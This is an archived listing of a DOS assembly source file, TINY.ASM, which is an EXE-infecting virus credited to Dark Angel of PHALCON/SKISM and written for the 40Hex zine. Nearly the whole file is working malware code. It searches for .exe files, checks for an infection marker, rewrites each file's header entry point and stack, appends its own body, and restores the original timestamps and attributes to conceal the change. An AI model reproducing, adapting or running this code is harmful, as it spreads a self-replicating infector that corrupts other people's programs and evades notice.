home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / TINY.ASM < prev    next >
Assembly Source File  |  1992-08-12  |  6KB  |  188 lines

  1.  
  2.   .model tiny                             ; Handy TASM directive
  3.   .code                                   ; Virus code segment
  4.         org 100h                      ; COM file starting IP
  5.   ; Cheesy EXE infector
  6.   ; Written by Dark Angel of PHALCON/SKISM
  7.   ; For 40Hex Number 8 Volume 2 Issue 4
  8.   id = 'DA'                               ; ID word for EXE infections
  9.   
  10.   startvirus:                             ; virus code starts here
  11.         call next                     ; calculate delta offset
  12.   next:     pop  bp                       ; bp = IP next
  13.         sub  bp,offset next           ; bp = delta offset
  14.   
  15.         push ds
  16.         push es
  17.         push cs                       ; DS = CS
  18.         pop  ds
  19.         push cs                       ; ES = CS
  20.         pop  es
  21.         lea  si,[bp+jmpsave2]
  22.         lea  di,[bp+jmpsave]
  23.         movsw
  24.         movsw
  25.         movsw
  26.         movsw
  27.   
  28.         mov  ah,1Ah                   ; Set new DTA
  29.         lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  30.         int  21h
  31.   
  32.         lea  dx,[bp+exe_mask]
  33.         mov  ah,4eh                   ; find first file
  34.         mov  cx,7                     ; any attribute
  35.   findfirstnext:
  36.         int  21h                      ; DS:DX points to mask
  37.         jc   done_infections          ; No mo files found
  38.   
  39.         mov  al,0h                    ; Open read only
  40.         call open
  41.   
  42.         mov  ah,3fh                   ; Read file to buffer
  43.         lea  dx,[bp+buffer]           ; @ DS:DX
  44.         mov  cx,1Ah                   ; 1Ah bytes
  45.         int  21h
  46.   
  47.         mov  ah,3eh                   ; Close file
  48.         int  21h
  49.   
  50.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  51.         jnz  infect_exe
  52.   find_next:
  53.         mov  ah,4fh                   ; find next file
  54.         jmp  short findfirstnext
  55.   done_infections:
  56.         mov  ah,1ah                   ; restore DTA to default
  57.         mov  dx,80h                   ; DTA in PSP
  58.         pop  es
  59.         pop  ds                       ; DS->PSP
  60.         int  21h
  61.         mov  ax,es                    ; AX = PSP segment
  62.         add  ax,10h                   ; Adjust for PSP
  63.         add  word ptr cs:[si+jmpsave+2],ax
  64.         add  ax,word ptr cs:[si+stacksave+2]
  65.         cli                           ; Clear intrpts for stack manip.
  66.         mov  sp,word ptr cs:[si+stacksave]
  67.         mov  ss,ax
  68.         sti
  69.         db   0eah                     ; jmp ssss:oooo
  70.   jmpsave             dd ?                ; Original CS:IP
  71.   stacksave           dd ?                ; Original SS:SP
  72.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  73.   stacksave2          dd ?
  74.   
  75.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  76.   virusname           db '[DemoEXE] for 40Hex',0
  77.   
  78.   infect_exe:
  79.         les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  80.         mov  word ptr [bp+jmpsave2], ax
  81.         mov  word ptr [bp+jmpsave2+2], es
  82.   
  83.         les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  84.         mov  word ptr [bp+stacksave2], es
  85.         mov  word ptr [bp+stacksave2+2], ax
  86.   
  87.         mov  ax, word ptr [bp+buffer + 8] ; Get header size
  88.         mov  cl, 4                        ; convert to bytes
  89.         shl  ax, cl
  90.         xchg ax, bx
  91.   
  92.         les  ax, [bp+offset newDTA+26]; Get file size
  93.         mov  dx, es                   ; to DX:AX
  94.         push ax
  95.         push dx
  96.   
  97.         sub  ax, bx                   ; Subtract header size from
  98.         sbb  dx, 0                    ; file size
  99.   
  100.         mov  cx, 10h                  ; Convert to segment:offset
  101.         div  cx                       ; form
  102.   
  103.         mov  word ptr [bp+buffer+14h], dx ; New entry point
  104.         mov  word ptr [bp+buffer+16h], ax
  105.   
  106.         mov  word ptr [bp+buffer+0Eh], ax ; and stack
  107.         mov  word ptr [bp+buffer+10h], id
  108.   
  109.         pop  dx                       ; get file length
  110.         pop  ax
  111.   
  112.         add  ax, heap-startvirus      ; add virus size
  113.         adc  dx, 0
  114.   
  115.         mov  cl, 9                    ; 2**9 = 512
  116.         push ax
  117.         shr  ax, cl
  118.         ror  dx, cl
  119.         stc
  120.         adc  dx, ax                   ; filesize in pages
  121.         pop  ax
  122.         and  ah, 1                    ; mod 512
  123.   
  124.         mov  word ptr [bp+buffer+4], dx ; new file size
  125.         mov  word ptr [bp+buffer+2], ax
  126.   
  127.         push cs                       ; restore ES
  128.         pop  es
  129.   
  130.         mov  cx, 1ah
  131.   finishinfection:
  132.         push cx                       ; Save # bytes to write
  133.         xor  cx,cx                    ; Clear attributes
  134.         call attributes               ; Set file attributes
  135.   
  136.         mov  al,2
  137.         call open
  138.   
  139.         mov  ah,40h                   ; Write to file
  140.         lea  dx,[bp+buffer]           ; Write from buffer
  141.         pop  cx                       ; cx bytes
  142.         int  21h
  143.   
  144.         mov  ax,4202h                 ; Move file pointer
  145.         xor  cx,cx                    ; to end of file
  146.         cwd                           ; xor dx,dx
  147.         int  21h
  148.   
  149.         mov  ah,40h                   ; Concatenate virus
  150.         lea  dx,[bp+startvirus]
  151.         mov  cx,heap-startvirus       ; # bytes to write
  152.         int  21h
  153.   
  154.         mov  ax,5701h                 ; Restore creation date/time
  155.         mov  cx,word ptr [bp+newDTA+16h] ; time
  156.         mov  dx,word ptr [bp+newDTA+18h] ; date
  157.         int  21h
  158.   
  159.         mov  ah,3eh                   ; Close file
  160.         int  21h
  161.   
  162.         mov ch,0
  163.         mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  164.         call attributes                 ; attributes
  165.   
  166.   mo_infections: jmp find_next
  167.   
  168.   open:
  169.         mov  ah,3dh
  170.         lea  dx,[bp+newDTA+30]        ; filename in DTA
  171.         int  21h
  172.         xchg ax,bx
  173.         ret
  174.   
  175.   attributes:
  176.         mov  ax,4301h                 ; Set attributes to cx
  177.         lea  dx,[bp+newDTA+30]        ; filename in DTA
  178.         int  21h
  179.         ret
  180.   
  181.   exe_mask            db '*.exe',0
  182.   heap:                                   ; Variables not in code
  183.   newDTA              db 42 dup (?)       ; Temporary DTA
  184.   buffer              db 1ah dup (?)      ; read buffer
  185.   endheap:                                ; End of virus
  186.   
  187.   end       startvirus
  188.